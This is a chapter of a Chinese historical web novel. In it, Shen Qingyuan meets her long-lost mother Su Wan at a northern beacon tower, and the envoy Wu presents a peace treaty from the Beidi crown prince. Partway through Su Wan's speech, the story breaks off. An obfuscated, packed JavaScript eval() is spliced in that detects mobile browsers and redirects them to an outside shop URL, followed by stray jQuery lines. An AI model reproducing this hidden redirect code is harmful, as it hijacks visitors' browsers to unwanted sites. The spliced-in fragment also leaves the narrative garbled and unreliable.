马蹄踏过官道，沈清沅没有回头。赵峰跟在她身后三步远，几次想开口，最终只把水囊递到她手边。她没接，缰绳一勒，马头转向北境岔路。


    “姑娘，真不带人？”赵峰压低声音，“乌先生那信来得蹊跷，黑风口是北狄旧营，连斥候都不敢靠近。”


    沈清沅从袖中取出两枚银簪，并排放在掌心。一枚刻“沈”，一枚刻“苏”。她盯着看了片刻，收进贴身衣袋，提笔在随身纸板上写：“你回安西，告诉陆衍，若七日内我没消息，烧了惠民药局地窖里的账本。”


    赵峰脸色一变：“那是咱们三年心血！”


    “比命重要？”她反问，笔尖顿了一下，又补一句，“也告诉他，别来找我。”


    赵峰咬牙：“他不会听的。”


    沈清沅没再写什么，催马前行。风渐硬，雪粒打在脸上，像细沙磨皮。她裹紧斗篷，右手始终按在腰间短刃上。乌先生给的狼头玉佩藏在内衬夹层，边缘硌着肋骨，提醒她每一步都踩在刀锋上。


    第三日黄昏，她在驿站换马时，遇见一个卖炭的老汉。老汉蹲在墙角啃干饼，见她走近，突然抬头：“姑娘去黑风口？”


    沈清沅脚步一顿，手已摸上刀柄。


    老汉咧嘴一笑，露出缺了门牙的豁口：“别紧张，乌先生让我在这儿等你。”他从炭筐底层抽出一张羊皮地图，塞进她手里，“烽燧往东三十里，有盏灯。他让你一个人去。”


    沈清沅展开地图，墨迹新鲜，显然是刚画的。一条红线从驿站直指废弃烽燧，末端画了个小圈，旁边注着“子时”。


    “为什么是子时？”她写。


    老汉摇头：“不知道。他只说，月圆夜，灯亮时，去晚了就见不着人了。”


    沈清沅收起地图，翻身上马。老汉在身后喊：“姑娘，北境的雪，埋过活人也埋过**，可别让埋了心啊！”


    她没应声，鞭子一扬，马冲进暮色。身后老汉的炭车吱呀作响，很快被风雪吞没。


    第五日入夜，她抵达烽燧。残垣断壁半埋在雪里，像巨兽的骨架。她下马，牵着缰绳步行，靴子陷进雪窝，每一步都费力。烽燧西侧有条窄径，被雪盖得几乎看不见，她对照地图确认方向，深一脚浅一脚往前走。


    风突然停了。雪落无声，天地间只剩她踩雪的咯吱声。远处一点微光，在漆黑里晃动，像萤火，又像鬼火。


    她停下，从怀中掏出陆衍给的瓷瓶，仰头灌下。药汁苦涩，顺着喉咙烧下去，四肢却渐渐暖起来。她松开缰绳，马识趣地退到树后。她独自朝那点光走去。


    越近，光越清晰——是盏油灯，挂在枯树枝上，灯罩破了个洞，火苗被风吹得东倒西歪。灯下坐着个人，背对她，披着灰鼠皮斗篷，身形瘦削。


    沈清沅站在十步外，呼吸放轻。那人没动，也没回头，只抬起手，将灯芯拨亮了些。


    “来了？”声音沙哑，却熟悉得让她浑身一颤。


    是苏婉。她娘的声音。


    沈清沅没上前，也没出声。那人缓缓转过身，斗篷滑落肩头，露出一张苍白的脸——眉眼与她记忆中分毫不差，只是眼角多了细纹，唇色淡得发灰。


    “清沅。”苏婉轻声唤她，嘴角扯出笑，“长这么高了。”


    沈清沅站着不动，右手摸向银簪。苏婉看见她的动作，笑容淡了些：“怕我？还是怕这是陷阱？”


    “乌先生让你来的？”沈清沅写在纸上，举起来。


    苏婉点头：“他救了我。十年前，皇帝要我死，是北狄太子保下我这条命。”


    “为什么现在才出现？”


    “因为现在你够强了。”苏婉站起身，袖口滑落，露出手腕一道旧疤，“弱的时候见你，只会害你。现在……你能选了。”


    “选什么？”


    苏婉没答，反而向前走了两步。沈清沅后退，簪尖抵住掌心。苏婉停住，叹了口气：“你爹当年摔死皇子，逼我吞金，以为能堵住悠悠众口。可北狄早把证据攥在手里，只等合适时机捅出来。乌先生不是敌人，他是北狄太子的人，太子想用这些换边境十年太平。”


    “所以你是筹码？”


    “曾经是。”苏婉苦笑，“现在我是钥匙。皇帝退位诏盖印那晚，太子就把我的**契烧了。他说，该还的债，该清的账，都该由你们年轻人自己算。”


    沈清沅盯着她袖口——灰布上绣着暗纹，是北狄太子的徽记，一只展翅的鹰。


    “你为他做事？”她写。


    “我为自己活。”苏婉拢了拢袖子，“清沅，仇报完了，下一步呢？守着安西一辈子？还是跟着陆衍回秦岭采药？北狄太子给我看了中原、西域、北狄的商路图，三条线，能养活百万百姓。你比你爹看得远，该知道怎么选。”


    沈清沅没动。风又起了，吹得灯罩啪啪响。苏婉伸手护住火苗，低声道：“乌先生在五里外等你。他手里有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16879914|191112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    太子亲笔盟书，盖了狼头印。签了，三国十年无战事；不签……”她抬眼，“他就把皇帝弑子的密信散到民间，到时候血流成河，你拦不住。”


    沈清沅攥紧银簪，指节发白。苏婉看着她，忽然伸手，想碰她脸颊。沈清沅侧头避开，苏婉的手僵在半空，慢慢收回。


    “你恨我吧？”苏婉轻声问，“恨我十年不现身，恨我跟北狄人走。”


    沈清沅摇头，在纸上写：“我恨的是没早点找到你。”


    苏婉眼眶一红，别过脸去。片刻后，她从怀中掏出个小布包，递给沈清沅：“你的周岁礼，我缝的。一直带在身边。”


    沈清沅打开，是双虎头鞋，针脚细密，颜色褪得发白。她捏着鞋，没说话。


    “走吧。”苏婉转身，指向黑暗处，“乌先生等你。别让他久等。”


    沈清沅没动：“你跟我回去。”


    苏婉摇头：“我回不去了。身份、名声、性命，早卖给北狄了。你现在看到的，是活人，也是**。”


    “陆衍能治——”


    “治什么？”苏婉打断她，“治我这颗早就烂透的心？清沅，别天真了。我活着，就是北狄的刀；我**，才是你娘。”


    沈清沅上前一步，抓住她手腕：“那就死在我手里。”


    苏婉愣住，随即笑了，眼泪却掉下来：“好啊。等你签完盟书，我亲手把刀递给你。”


    远处传来马嘶声。乌先生骑着黑马，缓步而来。他停在二十步外，没下马，只道：“沈姑娘，时辰到了。”


    沈清沅松开苏婉，走向乌先生。经过他马旁时，乌先生俯身，递来一卷羊皮纸：“太子诚意，你看过便知。”


    她接过，展开扫了一眼——条款清晰，边境互市，药材换马匹，十年不兴兵。末尾盖着狼头印，旁边一行小字：苏婉亲笔担保。


    她合上羊皮纸，抬头看乌先生：“她若少一根头发，我屠尽北狄王帐。”


    乌先生点头：“明白。”


    沈清沅转身，走回苏婉面前，将虎头鞋塞进她手里：“收好。等我来取。”


    苏婉握紧鞋，嘴唇颤了颤，最终只道：“活着回来。”


    沈清沅翻身上马，最后看了她一眼，策马冲进风雪。乌先生跟在她身后，马蹄声渐远。苏婉站在原地，直到灯光熄灭，才慢慢蹲下，把脸埋进虎头鞋里。


    雪越下越大，盖住了脚印，也盖住了那盏孤灯。